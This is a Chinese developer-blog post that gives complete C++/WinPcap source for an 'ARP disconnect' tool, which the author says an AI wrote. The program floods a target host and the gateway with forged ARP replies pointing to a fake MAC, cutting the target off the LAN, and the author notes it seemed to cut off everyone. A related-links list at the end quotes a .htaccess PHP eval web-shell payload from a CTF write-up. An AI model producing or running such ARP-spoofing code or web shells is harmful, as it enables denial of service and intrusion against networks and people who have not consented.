C++ 实现Arp断网

devtools/2025/2/5 5:27:14/

此程序由AI生成,测试过了,可以使用
但是,貌似全部都会断网

#include <pcap.h>
#include <WinSock2.h>
#include <iostream>
#include <vector>
#include <string>
#include <sstream>
#include <iomanip>
#include <iphlpapi.h>
#pragma warning(disable:4996)#pragma comment(lib, "wpcap.lib")
#pragma comment(lib, "Ws2_32.lib")
#pragma comment(lib, "iphlpapi.lib")using namespace std;// MAC地址转换函数(字符串转字节数组)
vector<uint8_t> parse_mac(const string& mac_str) {vector<uint8_t> mac;stringstream ss(mac_str);string part;while (getline(ss, part, ':')) {int byte = stoi(part, nullptr, 16);mac.push_back(static_cast<uint8_t>(byte));}return mac;
}// IP地址转换函数(字符串转网络序)
uint32_t parse_ip(const string& ip_str) {in_addr addr;if (inet_pton(AF_INET, ip_str.c_str(), &addr) == 1) {return addr.S_un.S_addr;}return 0;
}// 构建ARP响应包
vector<uint8_t> build_arp_packet(const vector<uint8_t>& src_mac,uint32_t src_ip,const vector<uint8_t>& dst_mac,uint32_t dst_ip
) {vector<uint8_t> packet;// 以太网帧头(14字节)// 目标MAC(6字节)packet.insert(packet.end(), dst_mac.begin(), dst_mac.end());// 源MAC(6字节)packet.insert(packet.end(), src_mac.begin(), src_mac.end());// 类型(ARP = 0x0806)packet.push_back(0x08); packet.push_back(0x06);// ARP数据包(28字节)// 硬件类型(以太网 = 1)packet.push_back(0x00); packet.push_back(0x01);// 协议类型(IPv4 = 0x0800)packet.push_back(0x08); packet.push_back(0x00);// 硬件地址长度(6)packet.push_back(0x06);// 协议地址长度(4)packet.push_back(0x04);// 操作码(响应 = 2)packet.push_back(0x00); packet.push_back(0x02);// 发送方MACpacket.insert(packet.end(), src_mac.begin(), src_mac.end());// 发送方IP(网络序)packet.push_back((src_ip >> 0) & 0xFF);packet.push_back((src_ip >> 8) & 0xFF);packet.push_back((src_ip >> 16) & 0xFF);packet.push_back((src_ip >> 24) & 0xFF);// 目标MACpacket.insert(packet.end(), dst_mac.begin(), dst_mac.end());// 目标IP(网络序)packet.push_back((dst_ip >> 0) & 0xFF);packet.push_back((dst_ip >> 8) & 0xFF);packet.push_back((dst_ip >> 16) & 0xFF);packet.push_back((dst_ip >> 24) & 0xFF);return packet;
}
std::string getMacAddress(const std::string& ipAddress) {// 初始化Winsock// 将IP地址转换为ULONG格式ULONG destIp = inet_addr(ipAddress.c_str());if (destIp == INADDR_NONE) {std::cerr << "Invalid IP address." << std::endl;return "";}// 准备接收MAC地址的缓冲区ULONG macAddr[2];ULONG macAddrLen = 6;memset(macAddr, 0xff, sizeof(macAddr));// 调用SendARP函数获取MAC地址DWORD ret = SendARP(destIp, 0, macAddr, &macAddrLen);if (ret == NO_ERROR) {// 将MAC地址转换为字符串格式BYTE* macBytes = (BYTE*)macAddr;char macStr[18];sprintf_s(macStr, sizeof(macStr), "%02X:%02X:%02X:%02X:%02X:%02X",macBytes[0], macBytes[1], macBytes[2],macBytes[3], macBytes[4], macBytes[5]);return std::string(macStr);}else {std::cerr << "Failed to get MAC address. Error code: " << ret << std::endl;return "";}
}
int main() {// 初始化WinSockWSADATA wsa;if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) {cerr << "WSAStartup failed: " << WSAGetLastError() << endl;return 1;}// 获取网络设备列表pcap_if_t* alldevs;char errbuf[PCAP_ERRBUF_SIZE];if (pcap_findalldevs(&alldevs, errbuf) == -1) {cerr << "Error finding devices: " << errbuf << endl;return 1;}// 打印设备列表int i = 0;for (pcap_if_t* d = alldevs; d != nullptr; d = d->next) {cout << "[" << i++ << "] " << d->name;if (d->description) cout << " (" << d->description << ")";cout << endl;}// 手动选择设备int dev_num;cout << "Select device index: ";cin >> dev_num;pcap_if_t* dev = alldevs;for (int j = 0; j < dev_num; j++) {if (dev) dev = dev->next;}if (!dev) {cerr << "Invalid device index." << endl;return 1;}// 打开设备pcap_t* handle = pcap_open_live(dev->name, 65536, 1, 1000, errbuf);if (!handle) {cerr << "Could not open device: " << errbuf << endl;return 1;}// 用户输入参数string gateway_ip_str = "192.168.6.1";       // 网关IPstring gateway_mac_str = getMacAddress(gateway_ip_str); // 网关MAC(需替换为真实值)string target_ip_str = "192.168.6.100";       // 目标设备IPstring target_mac_str = getMacAddress(target_ip_str);  // 目标设备MACstring fake_mac_str = "AA:BB:CC:DD:EE:FF";    // 伪造的MAC// 转换参数uint32_t gateway_ip = parse_ip(gateway_ip_str);uint32_t target_ip = parse_ip(target_ip_str);vector<uint8_t> gateway_mac = parse_mac(gateway_mac_str);vector<uint8_t> target_mac = parse_mac(target_mac_str);vector<uint8_t> fake_mac = parse_mac(fake_mac_str);// 构建两种ARP包// 欺骗目标设备:网关的MAC是伪造的vector<uint8_t> arp_to_target = build_arp_packet(fake_mac, gateway_ip, target_mac, target_ip);// 欺骗网关:目标设备的MAC是伪造的vector<uint8_t> arp_to_gateway = build_arp_packet(fake_mac, target_ip, gateway_mac, gateway_ip);// 发送ARP包(循环发送以维持效果)cout << "Sending ARP packets... Press Ctrl+C to stop." << endl;while (true) {if (pcap_sendpacket(handle, arp_to_target.data(), arp_to_target.size()) != 0) {cerr << "Error sending to target: " << pcap_geterr(handle) << endl;}if (pcap_sendpacket(handle, arp_to_gateway.data(), arp_to_gateway.size()) != 0) {cerr << "Error sending to gateway: " << pcap_geterr(handle) << endl;}Sleep(1000); // 每100ms发送一次}// 清理资源pcap_close(handle);pcap_freealldevs(alldevs);WSACleanup();return 0;
}

http://www.ppmy.cn/devtools/156185.html

相关文章

DeepSeek超越ChatGPT的能力及部分核心原理

DeepSeek超越ChatGPT的能力及部分核心原理 目录 DeepSeek超越ChatGPT的能力及部分核心原理超越ChatGPT的能力核心原理超越ChatGPT的能力 推理计算能力更强:在复杂的数学计算、法律文件审查等任务中,DeepSeek的推理能力可媲美甚至超越部分国际顶尖AI模型,包括ChatGPT。例如在…

Python-基于PyQt5,pdf2docx,pathlib的PDF转Word工具(专业版)

前言:日常生活中,我们常常会跟WPS Office打交道。作表格,写报告,写PPT......可以说,我们的生活已经离不开WPS Office了。与此同时,我们在这个过程中也会遇到各种各样的技术阻碍,例如部分软件的PDF转Word需要收取额外费用等。那么,可不可以自己开发一个小工具来实现PDF转…

图的基本术语——非八股文

我之前只看到了数据结构与算法的冰山一角&#xff0c;感觉这些术语只会让知识越来越难理解&#xff0c;现在来看&#xff0c;他们完美抽象一些概念和知识&#xff0c;非常重要。 本篇概念肯定总结不全&#xff0c;只有遇到的会写上&#xff0c;持续更新&#xff0c;之前文章已经…

Linux03——常见的操作命令

root用户以及权限 Linux系统的超级管理员用户是&#xff1a;root用户 su命令 可以切换用户&#xff0c;语法&#xff1a;su [-] [用户名]- 表示切换后加载环境变量&#xff0c;建议带上用户可以省略&#xff0c;省略默认切换到root su命令是用于账户切换的系统命令&#xff…

智云-一个抓取web流量的轻量级蜜罐-k8s快速搭建教程

智云-一个抓取web流量的轻量级蜜罐-k8s快速搭建教程 github地址 https://github.com/xiaoxiaoranxxx/POT-ZHIYUN k8s搭建教程 首先下载代码文件 git clone https://github.com/xiaoxiaoranxxx/POT-ZHIYUN.git cd POT-ZHIYUN编译镜像 代码相关文件在github https://github.com/x…

手撕Diffusion系列 - 第十一期 - lora微调 - 基于Stable Diffusion(代码)

手撕Diffusion系列 - 第十一期 - lora微调 - 基于Stable Diffusion&#xff08;代码&#xff09; 目录 手撕Diffusion系列 - 第十一期 - lora微调 - 基于Stable Diffusion&#xff08;代码&#xff09;Stable Diffusion 原理图Stable Diffusion的原理解释Stable Diffusion 和Di…

[JMCTF 2021]UploadHub

题目 上传.htaccess就是修改配置文件 <FilesMatch .htaccess> SetHandler application/x-httpd-php Require all granted php_flag engine on </FilesMatch>php_value auto_prepend_file .htaccess #<?php eval($_POST[md]);?>SetHandler和ForceType …

【深度学习】DeepSeek模型介绍与部署

原文链接&#xff1a;DeepSeek-V3 1. 介绍 DeepSeek-V3&#xff0c;一个强大的混合专家 (MoE) 语言模型&#xff0c;拥有 671B 总参数&#xff0c;其中每个 token 激活 37B 参数。 为了实现高效推理和成本效益的训练&#xff0c;DeepSeek-V3 采用了多头潜在注意力 (MLA) 和 De…